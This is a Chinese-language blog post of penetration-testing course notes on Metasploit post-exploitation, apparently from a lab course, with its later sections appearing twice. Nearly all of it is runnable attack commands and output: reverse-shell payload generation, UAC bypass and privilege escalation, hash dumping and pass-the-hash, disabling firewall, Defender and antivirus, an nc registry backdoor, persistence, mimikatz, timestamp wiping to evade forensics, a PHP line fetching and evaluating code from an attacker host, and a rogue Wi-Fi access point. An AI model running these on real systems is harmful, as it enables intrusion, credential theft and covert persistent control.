		– 扫描内网：use auxiliary/scanner/portscan/tcp
		

		
msf exploit(handler) > use auxiliary/scanner/portscan/tcp 

msf auxiliary(tcp) > set rhosts 2.1.1.9-2.1.1.12
rhosts => 2.1.1.9-2.1.1.12
msf auxiliary(tcp) > set ports 139,445
ports => 139,445

msf auxiliary(tcp) > options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting   Required  Description
   ----         ---------------   --------  -----------
   CONCURRENCY  10                yes       The number of concurrent ports to check per host
   PORTS        139,445           yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       2.1.1.9-2.1.1.12  yes       The target address range or CIDR identifier
   THREADS      1                 yes       The number of concurrent threads
   TIMEOUT      1000              yes       The socket connect timeout in milliseconds

msf auxiliary(tcp) > run 

[*] Scanned 1 of 4 hosts (25% complete)
[*] 2.1.1.10:139 - TCP OPEN
[*] 2.1.1.10:445 - TCP OPEN
[*] Scanned 2 of 4 hosts (50% complete)
[*] 2.1.1.11:139 - TCP OPEN
[*] 2.1.1.11:445 - TCP OPEN
[*] Scanned 3 of 4 hosts (75% complete)
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed


		
 
		
	
	

	
Pivoting 之端口转发 portfwd

	
利用已经被控计算机，在kali 与攻击目标之间实现端口转发
		
portfwd add -L LIP -l LPORT -r RIP -p RPORT
		
portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.11 -p 3389
		
portfwd list / delete / flush
	
	

	
获取XP的shell
	
	

	
use exploit/windows/smb/ms08_067_netapi   （需要在win7添加防火墙规则，绕过UAC，允许win7和XP建立网络通讯）
	
	

	

		
没有添加防火墙规则的话，如下图所示
		
		

		


		
msf auxiliary(tcp) > use exploit/windows/smb/ms08_067_netapi   
msf exploit(ms08_067_netapi) > options 

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > set lhost 2.1.1.10
lhost => 2.1.1.10
msf exploit(ms08_067_netapi) > set rhost 2.1.1.11
rhost => 2.1.1.11
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 2.1.1.10:4444 via the meterpreter on session 1
[*] Automatically detecting the target...
[*] Sending stage (957487 bytes)
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Chinese - Traditional
[*] Selected Target: Windows XP SP3 Chinese - Traditional (NX)
[*] Attempting to trigger the vulnerability...
[*] Meterpreter session 2 opened (1.1.1.10-192.168.155.5:4444 -> 2.1.1.11:1040) at 2018-09-05 13:50:55 +0800

meterpreter > 


		
 
		
	
	
use exploit/multi/handler
	
set exitonsession false   #建立session后继续监听4444端口
	
14. POST 模块

meterpreter >
#主机发现

run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24 
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.56.0/24

[*] Running module against VV-59439F0BD59B
[*] ARP Scanning 192.168.56.0/24
[*] 	IP: 192.168.56.1 MAC 0a:00:27:00:00:12 (UNKNOWN)
[*] 	IP: 192.168.56.101 MAC 08:00:27:71:23:c2 (CADMUS COMPUTER SYSTEMS)
[*] 	IP: 192.168.56.102 MAC 08:00:27:05:ea:53 (CADMUS COMPUTER SYSTEMS)
[*] 	IP: 192.168.56.103 MAC 08:00:27:1d:39:73 (CADMUS COMPUTER SYSTEMS)
[*] 	IP: 192.168.56.100 MAC 08:00:27:85:be:3e (CADMUS COMPUTER SYSTEMS)


 

#检查是否是虚拟机    

run post/windows/gather/checkvm   
meterpreter > run post/windows/gather/checkvm

[*] Checking if VV-59439F0BD59B is a Virtual Machine .....
[*] This is a Sun VirtualBox Virtual Machine


 

#查看账号密码hash和token信息

run post/windows/gather/credentials/credential_collector 
meterpreter > run post/windows/gather/credentials/credential_collector

[*] Running module against VV-59439F0BD59B
[+] Collecting hashes...
    Extracted: Administrator:b7eab2f3aad8ad3daad3b435b51404ee:ed1bfaeb3063716ab7fe2a11faf126d8
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: HelpAssistant:28b6a6df4f20e81455e41330c1a79c70:0f7d49c7900cdf2bc7b2b12b65678e34
    Extracted: SUPPORT_388945a0:aad3b435b51404eeaad3b435b51404ee:0d9b1a742628418754aaf0ffd8d88816
    Extracted: vv:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Collecting tokens...
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    VV-59439F0BD59B\vv
    NT AUTHORITY\ANONYMOUS LOGON


 

#检查目标主机安装的应用程序

run post/windows/gather/enum_applications 
meterpreter > run post/windows/gather/enum_applications

[*] Enumerating applications installed on VV-59439F0BD59B

Installed Applications
======================

 Name                                         Version
 ----                                         -------
 Oracle VM VirtualBox Guest Additions 5.2.12  5.2.12.0
 WebFldrs XP                                  9.50.7523



 

#常看当前登录用户和最近登陆用户

run post/windows/gather/enum_logged_on_users
meterpreter > run post/windows/gather/enum_logged_on_users

[*] Running against session 1

Current Logged Users
====================

 SID                                          User
 ---                                          ----
 S-1-5-21-606747145-920026266-854245398-1003  VV-59439F0BD59B\vv


[*] Results saved in: /root/.msf5/loot/20180905175410_default_192.168.56.101_host.users.activ_302529.txt

Recently Logged Users
=====================

 SID                                          Profile Path
 ---                                          ------------
 S-1-5-18                                     %systemroot%\system32\config\systemprofile
 S-1-5-19                                     %SystemDrive%\Documents and Settings\LocalService
 S-1-5-20                                     %SystemDrive%\Documents and Settings\NetworkService
 S-1-5-21-606747145-920026266-854245398-1003  %SystemDrive%\Documents and Settings\vv


 

#枚举snmp

run post/windows/gather/enum_snmp 
#删除指定账号

run post/windows/manage/delete_user USERNAME=yuanfh
#检查本机可利用的提权漏洞模块

run post/multi/recon/local_exploit_suggester  
meterpreter > run post/multi/recon/local_exploit_suggester  

[*] 192.168.56.101 - Collecting local exploits for x86/windows...
[*] 192.168.56.101 - 31 exploit checks are being tried...
[+] 192.168.56.101 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
[+] 192.168.56.101 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.56.101 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.56.101 - exploit/windows/local/ms_ndproxy: The target appears to be vulnerable.
[+] 192.168.56.101 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.


 

#查看目标环境信息

run post/multi/gather/env 
meterpreter > run post/multi/gather/env

APPDATA=C:\Documents and Settings\vv\Application Data
CLIENTNAME=Console
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\vv
LOGONSERVER=\\VV-59439F0BD59B
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 60 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=3c03
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
SESSIONNAME=Console
TEMP=C:\DOCUME~1\vv\LOCALS~1\Temp
TMP=C:\DOCUME~1\vv\LOCALS~1\Temp
windir=C:\WINDOWS


 #查看Firefox中存储的账号密码

run post/multi/gather/firefox_creds 
#查看ssh账号密码的密文信息，证书信息

run post/multi/gather/ssh_creds  
#检查目标主机上的指定程序是否是恶意原件

run post/multi/gather/check_malware REMOTEFILE=c:\a.exe  
	
run hostsedit -e 1.1.1.1,www.baidu.com
	
migrate -N explorer.exe
	
run [tab] [tab]
	

	
run winenum
	
	

	
自动执行 metepreter 脚本（建立meterpreter后自动执行，InitialAutoRunScript 先于 AutoRunScript hostsedit 执行）

	
set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com
		
set InitialAutoRunScript checkvm
	
	

	
自动执行 post 模块

	
set InitialAutoRunScript migrate -n explorer.exe
		
set AutoRunScript post/windows/gather/dumplinks   #dump最近文档
	
15 .持久后门

利用漏洞取得的 metepreter 运行内存中，重启失效
	
重复 exploit 漏洞可能造成服务崩溃
	

	
持久后门保证漏洞修复后仍可远程控制
	
	

	
metepreter 后门

	
run metsvc -A # 删除 -r
		
use exploit/multi/handler
		
set PAYLOAD windows/metsvc_bind_tcp
		
set LPORT 31337
		
set RHOST 1.1.1.1
	
	

	
持久后门

	
run persistence -h
		
run persistence -X -i 10 -p 4444 -r 10.0.0.128
		
run persistence -U -i 20 -p 4444 -r 10.0.0.128
		
run persistence -S -i 20 -p 4444 -r 10.0.0.128
	
16. msf 延伸用法之 mimikatz

hashdump 使用的就是 mimikatz 的部分功能
	
getsystem
		
load mimikatz
		
wdigest ��kerberos ��msv ��ssp ��tspkg ��livessp
		
mimikatz_command -h
		
mimikatz_command -f a::
		
mimikatz_command -f samdump::hashes
		
mimikatz_command -f handle::list
		
mimikatz_command -f service::list
		
mimikatz_command -f crypto::listProviders
		
mimikatz_command -f winmine::infos # 扫雷游戏
	
17. 代码执行漏洞


	
PHP shell

	
msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php
		
msf 启动侦听
		
上传到web站点并通过浏览器访问
	
	

	
web Delivery

	
利用代码执行漏洞访问攻击者服务器
		
use exploit/multi/script/web_delivery
		
set target 1
		
run
		
php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://1.1.1.1/fTYWqmu‘));”
	
18. RFI 远程文件包含

vi /etc/php5/cgi/php.ini
	
allow_url_fopen = On
		
allow_url_include = On
	
	
use exploit/unix/webapp/php_include
	
set RHOST 1.1.1.2
	
set PATH /dvwa/vulnerabilities/fi/
	
set PHPURI /?page=XXpathXX
	
set HEADERS “Cookie:security=low;PHPSESSID=eefcf023ba61219d4745ad7487fe81d7”
	
set payload php/meterpreter/reverse_tcp
	
set lhost 1.1.1.1
	
exploit
19. Karmetasploit

伪造 AP、嗅探密码、接货数据、浏览器攻击
	

	
多漏洞资源文件：wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt
	
	

	
安装其他依赖包

	
gem install activerecord sqlite3-ruby
	
	

	
基础架构安装配置

	
apt-get install isc-dhcp-server
		
cat /etc/dhcp/dhcpd.conf

		option domain-name-servers 10.0.0.1; default-lease-time 60;

		max-lease-time 72;

		ddns-update-style none;

		authoritative;

		log-facility local7;

		subnet 10.0.0.0 netmask 255.255.255.0 {

		range 10.0.0.100 10.0.0.254;

		option routers 10.0.0.1;

		option domain-name-servers 10.0.0.1;

		}
	
	

	
伪造 AP

	
airmon-ng start wlan0
		
airbase-ng -P -C 30 -e “FREE” -v wlan0mon
		
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
		
touch /var/lib/dhcp/dhcpd.leases
		
dhcpd -cf /etc/dhcp/dhcpd.conf at0
	
	

	
启动 Karmetasploit

	
msfconsole -q -r karma.rc_.txt
	
	

	
允许用户正常上网

	

		
vi karma.rc_.txt

		
文件链接：https://pan.baidu.com/s/1ShLYDGaoIo9M-ihU0iN8Eg 密码：tpc0
		
		

		
删除 setg 参数
		
		
增加 browser_autopwn2 等其他模块
		
检查恶意流量：auxiliary/vsploit/malware/dns*
	
	

	
启动 Karmetasploit

	
msfconsole -q -r karma.rc_.txt
	
	

	
增加路由和防火墙规则

	
echo 1 > /proc/sys/net/ipv4/ip_forward
		
iptables -P FORWARD ACCEPT
		
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
	












	
	
	

		posted on 2018-09-05 19:06 E11iot 阅读(...) 评论(...)  编辑 收藏
	


转载于:https://www.cnblogs.com/E11iot/p/9594396.html

  
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程，教程为安全牛课堂里的《Kali Linux 渗透测试》课程
  
  
Kali Linux渗透测试（苑房弘）博客记录




1. 准备工作


已经获得目标系统控制权后扩大战果

提权
信息收集
渗透内网
永久后门
基于已有 session 扩大战果

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.128 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o payload.exe
kali 监听 

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.0.128
msf exploit(multi/handler) > exploit -j

windows 系统执行 payload.exe
kali 进入 metepreter

msf exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information             Connection
  --  ----  ----                     -----------             ----------
  1         meterpreter x86/windows  WIN7-VM\John @ WIN7-VM  10.0.0.128:4444 -> 10.0.0.132:62941 (10.0.0.132)

msf exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information             Connection
  --  ----  ----                     -----------             ----------
  1         meterpreter x86/windows  WIN7-VM\John @ WIN7-VM  10.0.0.128:4444 -> 10.0.0.132:62941 (10.0.0.132)

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN7-VM\John





2. 获取 system 账号权限


提权失败，一般是由于 UAC 限制

meterpreter > getuid
Server username: WIN7-VM\John
meterpreter > load priv
[-] The 'priv' extension has already been loaded.
meterpreter > getsystem 
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)


meterpreter > background

绕过 UAC 限制

use exploit/windows/local/ask

use exploit/windows/local/ask
set payload windows/meterpreter/reverse_tcp
use exploit/windows/local/ask
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
set FILENAME win_update.exe
set SESSION 1
exploit






meterpreter > getsystem
meterpreter > getuid



use exploit/windows/local/bypassuac

use exploit/windows/local/bypassuac
set SESSION 1
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
show targets
exploit



use exploit/windows/local/bypassuac_injection

use exploit/windows/local/bypassuac_injection
set SESSION 1
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
exploit



利用漏洞直接提权为 system

use exploit/windows/local/ms13_053_schlamperei

use exploit/windows/local/ms13_053_schlamperei
set SESSION 1



use exploit/windows/local/ms13_081_track_popup_menu

use exploit/windows/local/ms13_081_track_popup_menu
set SESSION 1
exploit



use exploit/windows/local/ms13_097_ie_registry_symlink

use exploit/windows/local/ms13_097_ie_registry_symlink
set SESSION 1
set URIPATH /
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
set SRVHOST 10.0.0.128
exploit

use exploit/windows/local/ppr_flatten_rec

use exploit/windows/local/ppr_flatten_rec
set SESSION 1
exploit



图形化 payload

set payload windows/vncinject/reverse_tcp

use exploit/windows/local/ppr_flatten_rec
set payload windows/vncinject/reverse_tcp
set SESSION 1
set LHOST 10.0.0.128
set ViewOnly false
exploit



关闭 UAC 功能

获取 hashdump

meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    John:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

尝试利用

use exploit/windows/smb/psexec
set RHOST 10.0.0.132
set SMBUser John
set SMBPass  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
exploit




报错：Exploit failed [no-access]
需要提前关闭 UAC

sessions -i 2
shell
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
shutdown -r -t 0



再次利用

use exploit/windows/smb/psexec
set RHOST 10.0.0.132
set SMBUser John
set SMBPass  aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.128
exploit





4. 基础操作



1. 关闭防火墙


需要管理员或system权限

netsh advfirewall set allprofiles state on
netsh advfirewall set allprofiles state off







2. 关闭 windefend


查看服务名称


关闭防火墙

net stop windefend





3. bitlocker 加密


manage-bde -off C:
manage-bde -status C:




4. 关闭 DEP


bcdedit.exe /set {current} nx AlwaysOff




5 杀死防病毒软件


run killav
run post/windows/manage/killav




6. 开启远程桌面服务

# 开启服务
run post/windows/manage/enable_rdp




# 关闭服务
run multi_console_command -rc root/.msf4/loot/20180418001805_default_10.0.0.132_host.windows.cle_842354.txt

# 开启服务
run getgui –e
run getgui -u yuanfh -p pass
run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc




7. 查看远程桌面


screenshot
use espia 

screengrab




5. 使用 tokens 攻击域控制器

-tokens 

    - 用户每次登录，账号绑定临时的tokens 

    - 访问资源时提交 tokens 进行身份验证，类似于 web cookies 

    - delegate tokens：交互登录会话 

    - impersonate tokens：非交互登录会话 

    - delegate tokens 账号注销后变为 Impersonate Token，权限依然有效


Incognito 

独立功能的软件，被 msf 集成在 metepreter 中
无需密码或破解或获取密码 hash，窃取 tokens 将自己伪装成其他用户
尤其适用于域环境下提权渗透多操作系统
搭建域环境

DC + XP
load incognito

list_tokens -u
impersonate_token lab\administrator
运行以上命令需要 getsystem 

本地普通权限用户需要先本地权限
use exploit/windows/local/ms10_015_kitrap0d
execute -f cmd.exe -i -t  # -t：使用当前假冒tokens执行程序
shell




8. 注册表


注册表保存着 windows 几乎全部配置参数

如果修改不当，可直接造成系统崩溃
修改前完整备份注册表
某些注册表的修改是不可逆的
常见用途

修改、增加启动项
窃取存储于注册表中的机密信息
绕过文件型病毒查杀
用注册表添加 nc 后门服务（metepreter）

meterpreter > 
upload /usr/share/windows-binaries/nc.exe C:\windows\system32
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc
打开防火墙端口（metepreter）

meterpreter > 
execute -f cmd -i -H
netsh firewall show opmode
netsh firewall add portopening TCP 4444 “test” ENABLE ALL
shutdown -r -f -t 0
nc 10.0.0.132 444
其他注册表项

https://support.accessdata.com/hc/en-us/articles/204448155-Registry-Quick-Find-Chart




9. 抓包


抓包（metepreter） 

load sniffer
sniffer_interfaces
sniffer_start 2
sniffer_dump 2 1.cap      / sniffer_dump 2 1.cap
在内存中缓冲区块循环存储抓包（50000包），不写硬盘
智能过滤 metepreter 流量，传输全称使用 SSL/TLS 加密
解码 

use auxiliary/sniffer/psnuffle
set PCAPFILE /root/1.cap




10. 搜索文件


search -f *.ini
search -d c:\documents\ and\ settings\administrator\desktop\ -f *.docx




11. 破解弱口令


John the Ripper 破解弱口令 


– use post/windows/gather/hashdump  # system 权限的 metepreter 

- run   # 结果保存在 /tmp 目录下 

- use auxiliary/analyze/jtr_crack_fast 

- run



12. 擦除痕迹


文件系统访问会留下痕迹。电子取证重点关注
渗透测试和攻击者往往希望销毁文件系统访问痕迹
最好的避免被电子取证发现的方法：不要碰文件系统

metepreter 的先天优势所在（完全基于内存）
MAC 时间 （Modified / Accessed / Changed）

ls -l –time=atime/mtime/ctime 1.txt
stat 1.txt
touch -d “2 days ago” 1.txt
touch -t 1501010101 1.txt
MACE：MFT entry

MFT：NTFS 文件系统的主文件分配表 Master File Table
通常 1024 字节或2个硬盘扇区，其中存放多项 entry 信息
包含文件大量信息（大小 名称 目录位置 磁盘位置 创建日期）
更多信息可研究文件系统取证分析技术
Timestomp (meterpreter)

timestomp -v 1.txt
timestomp -f c:\autoexec.bat 1.txt 

-b -r   # 擦除 MACE 时间信息，目前此参数功能失效
-m / -a / -c / -e / -z
timestomp -z “MM/DD/YYYY HH24:MI:SS”  2.txt




13. pivoting 跳板 / 枢纽/支点


msfvenom 制作 payload 

    msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=kali_firewall LPORT=4444 -b “\x00\xff” -e x86/shikata_ga_nai -f exe -o payload.exe
获取 system 权限 


利用已经控制的一台计算机作为入侵内网的跳板
在其他内网计算机看来访问全部来自于跳板
run autoroute -s 1.1.1.0/24  # 不能访问外网的被攻击目标内网网段
自动路由现实场景

利用 win7 攻击内网 XP（对比 xp 有无外网访问权的情况） 

– 扫描内网：use auxiliary/scanner/portscan/tcp
Pivoting 之端口转发 portfwd

利用已经被控计算机，在kali 与攻击目标之间实现端口转发
portfwd add -L LIP -l LPORT -r RIP -p RPORT
portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.11 -p 3389
portfwd list  /  delete  /  flush
use exploit/windows/smb/ms08_067_netapi

set RHOST 127.0.0.1
set LHOST 2.1.1.10
use exploit/multi/handler 

set exitonsession false




14. POST 模块


meterpreter > 
run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24
run post/windows/gather/checkvm
run post/windows/gather/credentials/credential_collector
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_snmp
run post/windows/manage/delete_user USERNAME=yuanfh
run post/multi/recon/local_exploit_suggester
run post/multi/gather/env
run post/multi/gather/firefox_creds
run post/multi/gather/ssh_creds
run post/multi/gather/check_malware REMOTEFILE=c:\a.exe
run hostsedit -e 1.1.1.1,www.baidu.com
migrate -N explorer.exe
run [tab] [tab]
run winenum
自动执行 metepreter 脚本

set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com
set InitialAutoRunScript checkvm
自动执行 post 模块

set InitialAutoRunScript migrate -n explorer.exe
set AutoRunScript post/windows/gather/dumplinks




15 .持久后门


利用漏洞取得的 metepreter 运行内存中，重启失效
重复 exploit 漏洞可能造成服务崩溃
持久后门保证漏洞修复后仍可远程控制
metepreter 后门

run metsvc -A # 删除 -r
use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
set LPORT 31337
set RHOST 1.1.1.1
持久后门

run persistence -h
run persistence -X -i 10 -p 4444 -r 10.0.0.128
run persistence -U -i 20 -p 4444 -r 10.0.0.128
run persistence -S -i 20 -p 4444 -r 10.0.0.128




16. msf 延伸用法之 mimikatz


hashdump 使用的就是 mimikatz 的部分功能 

getsystem
load mimikatz
wdigest ��kerberos ��msv ��ssp ��tspkg ��livessp
mimikatz_command -h
mimikatz_command -f a::
mimikatz_command -f samdump::hashes
mimikatz_command -f handle::list
mimikatz_command -f service::list
mimikatz_command -f crypto::listProviders
mimikatz_command -f winmine::infos    # 扫雷游戏




17. 代码执行漏洞


PHP shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php
msf 启动侦听
上传到web站点并通过浏览器访问
web Delivery

利用代码执行漏洞访问攻击者服务器
use exploit/multi/script/web_delivery
set target 1
run
php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://1.1.1.1/fTYWqmu‘));”




18. RFI 远程文件包含


vi /etc/php5/cgi/php.ini 

allow_url_fopen = On
allow_url_include = On
use exploit/unix/webapp/php_include
set RHOST 1.1.1.2
set PATH /dvwa/vulnerabilities/fi/
set PHPURI /?page=XXpathXX
set HEADERS “Cookie:security=low;PHPSESSID=eefcf023ba61219d4745ad7487fe81d7”
set payload php/meterpreter/reverse_tcp
set lhost 1.1.1.1
exploit




18. Karmetasploit


伪造 AP、嗅探密码、接货数据、浏览器攻击
多漏洞资源文件：wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt
安装其他依赖包

gem install activerecord sqlite3-ruby
基础架构安装配置

apt-get install isc-dhcp-server
cat /etc/dhcp/dhcpd.conf 

option domain-name-servers 10.0.0.1; default-lease-time 60;  

max-lease-time 72;  

ddns-update-style none;  

authoritative;  

log-facility local7;  

subnet 10.0.0.0 netmask 255.255.255.0 {  

range 10.0.0.100 10.0.0.254;  

option routers 10.0.0.1;  

option domain-name-servers 10.0.0.1;  

}
伪造 AP

airmon-ng start wlan0
airbase-ng -P -C 30 -e “FREE” -v wlan0mon
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
touch /var/lib/dhcp/dhcpd.leases
dhcpd -cf /etc/dhcp/dhcpd.conf at0
启动 Karmetasploit

msfconsole -q -r karma.rc_.txt
允许用户正常上网

vi karma.rc_.txt

文件链接：https://pan.baidu.com/s/1ShLYDGaoIo9M-ihU0iN8Eg 密码：tpc0
删除 setg 参数
增加 browser_autopwn2 等其他模块
检查恶意流量：auxiliary/vsploit/malware/dns*
启动 Karmetasploit

msfconsole -q -r karma.rc_.txt
增加路由和防火墙规则

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE